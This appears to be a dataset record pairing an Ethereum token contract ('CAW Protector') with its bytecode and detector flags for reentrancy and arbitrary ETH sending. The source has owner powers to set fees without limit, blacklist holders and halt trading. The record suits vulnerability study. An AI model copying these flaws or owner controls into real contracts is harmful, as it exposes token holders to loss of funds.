26f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610422565b6001600160a01b038216610a705760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610422565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610b335760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610422565b6001600160a01b03831660009081526006602052604090205460ff1615610b5957600080fd5b6001600160a01b0383163014610c0757600d54600a55600c54600b556000610b8030610476565b9050610b976103e8683635c9adc5dea000006115de565b811115610c0557601254600160a81b900460ff16158015610bc657506012546001600160a01b03858116911614155b8015610bdb5750601254600160b01b900460ff165b15610c0557610be981610d93565b47670429d069189e0000811115610c0357610c0347610c51565b505b505b610c12838383610f1c565b505050565b60008184841115610c3b5760405162461bcd60e51b815260040161042291906114cb565b506000610c48848661161f565b95945050505050565b6000610c5e6003836115de565b600e546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015610c99573d6000803e3d6000fd5b50600f546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610cd4573d6000803e3d6000fd5b506010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610c12573d6000803e3d6000fd5b6000600854821115610d765760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610422565b6000610d80610f27565b9050610d8c8382610f4a565b9392505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ddb57610ddb61164c565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610e2f57600080fd5b505afa158015610e43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6791906113a0565b81600181518110610e7a57610e7a61164c565b6001600160a01b039283166020918202929092010152601154610ea091309116846109ad565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ed9908590600090869030904290600401611555565b600060405180830381600087803b158015610ef357600080fd5b505af1158015610f07573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b610c12838383610f8c565b6000806000610f34611083565b9092509050610f438282610f4a565b9250505090565b6000610d8c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110c5565b600080600080600080610f9e876110f3565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fd09087611150565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610fff9086611192565b6001600160a01b038916600090815260026020526040902055611021816111f1565b61102b848361123b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161107091815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea0000061109f8282610f4a565b8210156110bc57505060085492683635c9adc5dea0000092509050565b90939092509050565b600081836110e65760405162461bcd60e51b815260040161042291906114cb565b506000610c4884866115de565b60008060008060008060008060006111108a600a54600b5461125f565b9250925092506000611120610f27565b905060008060006111338e8787876112b4565b919e509c509a509598509396509194505050505091939550919395565b6000610d8c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c17565b60008061119f83856115c6565b905083811015610d8c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610422565b60006111fb610f27565b905060006112098383611304565b306000908152600260205260409020549091506112269082611192565b30600090815260026020526040902055505050565b6008546112489083611150565b6008556009546112589082611192565b6009555050565b600080808061127960646112738989611304565b90610f4a565b9050600061128c60646112738a89611304565b905060006112a48261129e8b86611150565b90611150565b9992985090965090945050505050565b60008080806112c38886611304565b905060006112d18887611304565b905060006112df8888611304565b905060006112f18261129e8686611150565b939b939a50919850919650505050505050565b60008261131357506000610389565b600061131f8385611600565b90508261132c85836115de565b14610d8c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610422565b60006020828403121561139557600080fd5b8135610d8c81611662565b6000602082840312156113b257600080fd5b8151610d8c81611662565b600080604083850312156113d057600080fd5b82356113db81611662565b915060208301356113eb81611662565b809150509250929050565b60008060006060848603121561140b57600080fd5b833561141681611662565b9250602084013561142681611662565b929592945050506040919091013590565b6000806040838503121561144a57600080fd5b823561145581611662565b946020939093013593505050565b60006020828403121561147557600080fd5b8135610d8c81611677565b60006020828403121561149257600080fd5b8151610d8c81611677565b6000806000606084860312156114b257600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156114f8578581018301518582016040015282016114dc565b8181111561150a576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115a55784516001600160a01b031683529383019391830191600101611580565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156115d9576115d9611636565b500190565b6000826115fb57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561161a5761161a611636565b500290565b60008282101561163157611631611636565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461047357600080fd5b801515811461047357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206f54491583c52aabd94577bbea748c5f57ef98c72c4b1e916818aa7135836a2f64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,223
0x5885ccb227e898380afaa9e7c847a9454a83a7cd
/** *Submitted for verification at Etherscan.io on 2022-04-17 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CAWProtector is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "CAW Protector"; string private constant _symbol = "CAWCROW"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 16; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xe8a7602405BB8FcF9E740deCdb43A507797c375c); address payable private _marketingAddress = payable(0xe8a7602405BB8FcF9E740deCdb43A507797c375c); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; uint256 public _maxWalletSize = 20000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055a578063dd62ed3e1461057a578063ea1644d5146105c0578063f2fde38b146105e057600080fd5b8063a2a957bb146104d5578063a9059cbb146104f5578063bfd7928414610515578063c3c8cd801461054557600080fd5b80638f70ccf7116100d15780638f70ccf71461044f5780638f9a55c01461046f57806395d89b411461048557806398a5c315146104b557600080fd5b80637d1db4a5146103ee5780637f2feddc146104045780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027657806318160ddd146102ae57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611962565b610600565b005b34801561020a57600080fd5b5060408051808201909152600d81526c21a0ab90283937ba32b1ba37b960991b60208201525b60405161023d9190611a27565b60405180910390f35b34801561025257600080fd5b50610266610261366004611a7c565b61069f565b604051901515815260200161023d565b34801561028257600080fd5b50601454610296906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102ba57600080fd5b5066038d7ea4c680005b60405190815260200161023d565b3480156102de57600080fd5b506102666102ed366004611aa8565b6106b6565b3480156102fe57600080fd5b506102c460185481565b34801561031457600080fd5b506040516009815260200161023d565b34801561033057600080fd5b50601554610296906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611ae9565b61071f565b34801561037057600080fd5b506101fc61037f366004611b16565b61076a565b34801561039057600080fd5b506101fc6107b2565b3480156103a557600080fd5b506102c46103b4366004611ae9565b6107fd565b3480156103c557600080fd5b506101fc61081f565b3480156103da57600080fd5b506101fc6103e9366004611b31565b610893565b3480156103fa57600080fd5b506102c460165481565b34801561041057600080fd5b506102c461041f366004611ae9565b60116020526000908152604090205481565b34801561043d57600080fd5b506000546001600160a01b0316610296565b34801561045b57600080fd5b506101fc61046a366004611b16565b6108c2565b34801561047b57600080fd5b506102c460175481565b34801561049157600080fd5b5060408051808201909152600781526643415743524f5760c81b6020820152610230565b3480156104c157600080fd5b506101fc6104d0366004611b31565b61090a565b3480156104e157600080fd5b506101fc6104f0366004611b4a565b610939565b34801561050157600080fd5b50610266610510366004611a7c565b610977565b34801561052157600080fd5b50610266610530366004611ae9565b60106020526000908152604090205460ff1681565b34801561055157600080fd5b506101fc610984565b34801561056657600080fd5b506101fc610575366004611b7c565b6109d8565b34801561058657600080fd5b506102c4610595366004611c00565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cc57600080fd5b506101fc6105db366004611b31565b610a79565b3480156105ec57600080fd5b506101fc6105fb366004611ae9565b610aa8565b6000546001600160a01b031633146106335760405162461bcd60e51b815260040161062a90611c39565b60405180910390fd5b60005b815181101561069b5760016010600084848151811061065757610657611c6e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069381611c9a565b915050610636565b5050565b60006106ac338484610b92565b5060015b92915050565b60006106c3848484610cb6565b610715843361071085604051806060016040528060288152602001611db4602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f2565b610b92565b5060019392505050565b6000546001600160a01b031633146107495760405162461bcd60e51b815260040161062a90611c39565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107945760405162461bcd60e51b815260040161062a90611c39565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e757506013546001600160a01b0316336001600160a01b0316145b6107f057600080fd5b476107fa8161122c565b50565b6001600160a01b0381166000908152600260205260408120546106b090611266565b6000546001600160a01b031633146108495760405162461bcd60e51b815260040161062a90611c39565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bd5760405162461bcd60e51b815260040161062a90611c39565b601655565b6000546001600160a01b031633146108ec5760405162461bcd60e51b815260040161062a90611c39565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109345760405162461bcd60e51b815260040161062a90611c39565b601855565b6000546001600160a01b031633146109635760405162461bcd60e51b815260040161062a90611c39565b600893909355600a91909155600955600b55565b60006106ac338484610cb6565b6012546001600160a01b0316336001600160a01b031614806109b957506013546001600160a01b0316336001600160a01b0316145b6109c257600080fd5b60006109cd306107fd565b90506107fa816112ea565b6000546001600160a01b03163314610a025760405162461bcd60e51b815260040161062a90611c39565b60005b82811015610a73578160056000868685818110610a2457610a24611c6e565b9050602002016020810190610a399190611ae9565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6b81611c9a565b915050610a05565b50505050565b6000546001600160a01b03163314610aa35760405162461bcd60e51b815260040161062a90611c39565b601755565b6000546001600160a01b03163314610ad25760405162461bcd60e51b815260040161062a90611c39565b6001600160a01b038116610b375760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062a565b6001600160a01b038216610c555760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062a565b6001600160a01b038216610d7c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062a565b60008111610dde5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062a565b6000546001600160a01b03848116911614801590610e0a57506000546001600160a01b03838116911614155b156110eb57601554600160a01b900460ff16610ea3576000546001600160a01b03848116911614610ea35760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062a565b601654811115610ef55760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062a565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3757506001600160a01b03821660009081526010602052604090205460ff16155b610f8f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062a565b6015546001600160a01b038381169116146110145760175481610fb1846107fd565b610fbb9190611cb5565b106110145760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062a565b600061101f306107fd565b6018546016549192508210159082106110385760165491505b80801561104f5750601554600160a81b900460ff16155b801561106957506015546001600160a01b03868116911614155b801561107e5750601554600160b01b900460ff165b80156110a357506001600160a01b03851660009081526005602052604090205460ff16155b80156110c857506001600160a01b03841660009081526005602052604090205460ff16155b156110e8576110d6826112ea565b4780156110e6576110e64761122c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112d57506001600160a01b03831660009081526005602052604090205460ff165b8061115f57506015546001600160a01b0385811691161480159061115f57506015546001600160a01b03848116911614155b1561116c575060006111e6565b6015546001600160a01b03858116911614801561119757506014546001600160a01b03848116911614155b156111a957600854600c55600954600d555b6015546001600160a01b0384811691161480156111d457506014546001600160a01b03858116911614155b156111e657600a54600c55600b54600d555b610a7384848484611473565b600081848411156112165760405162461bcd60e51b815260040161062a9190611a27565b5060006112238486611ccd565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069b573d6000803e3d6000fd5b60006006548211156112cd5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062a565b60006112d76114a1565b90506112e383826114c4565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133257611332611c6e565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138657600080fd5b505afa15801561139a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113be9190611ce4565b816001815181106113d1576113d1611c6e565b6001600160a01b0392831660209182029290920101526014546113f79130911684610b92565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611430908590600090869030904290600401611d01565b600060405180830381600087803b15801561144a57600080fd5b505af115801561145e573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148057611480611506565b61148b848484611534565b80610a7357610a73600e54600c55600f54600d55565b60008060006114ae61162b565b90925090506114bd82826114c4565b9250505090565b60006112e383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611669565b600c541580156115165750600d54155b1561151d57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154687611697565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157890876116f4565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a79086611736565b6001600160a01b0389166000908152600260205260409020556115c981611795565b6115d384836117df565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161891815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061164582826114c4565b8210156116605750506006549266038d7ea4c6800092509050565b90939092509050565b6000818361168a5760405162461bcd60e51b815260040161062a9190611a27565b5060006112238486611d72565b60008060008060008060008060006116b48a600c54600d54611803565b92509250925060006116c46114a1565b905060008060006116d78e878787611858565b919e509c509a509598509396509194505050505091939550919395565b60006112e383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f2565b6000806117438385611cb5565b9050838110156112e35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062a565b600061179f6114a1565b905060006117ad83836118a8565b306000908152600260205260409020549091506117ca9082611736565b30600090815260026020526040902055505050565b6006546117ec90836116f4565b6006556007546117fc9082611736565b6007555050565b600080808061181d606461181789896118a8565b906114c4565b9050600061183060646118178a896118a8565b90506000611848826118428b866116f4565b906116f4565b9992985090965090945050505050565b600080808061186788866118a8565b9050600061187588876118a8565b9050600061188388886118a8565b905060006118958261184286866116f4565b939b939a50919850919650505050505050565b6000826118b7575060006106b0565b60006118c38385611d94565b9050826118d08583611d72565b146112e35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062a565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fa57600080fd5b803561195d8161193d565b919050565b6000602080838503121561197557600080fd5b823567ffffffffffffffff8082111561198d57600080fd5b818501915085601f8301126119a157600080fd5b8135818111156119b3576119b3611927565b8060051b604051601f19603f830116810181811085821117156119d8576119d8611927565b6040529182528482019250838101850191888311156119f657600080fd5b938501935b82851015611a1b57611a0c85611952565b845293850193928501926119fb565b98975050505050505050565b600060208083528351808285015260005b81811015611a5457858101830151858201604001528201611a38565b81811115611a66576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8f57600080fd5b8235611a9a8161193d565b946020939093013593505050565b600080600060608486031215611abd57600080fd5b8335611ac88161193d565b92506020840135611ad88161193d565b929592945050506040919091013590565b600060208284031215611afb57600080fd5b81356112e38161193d565b8035801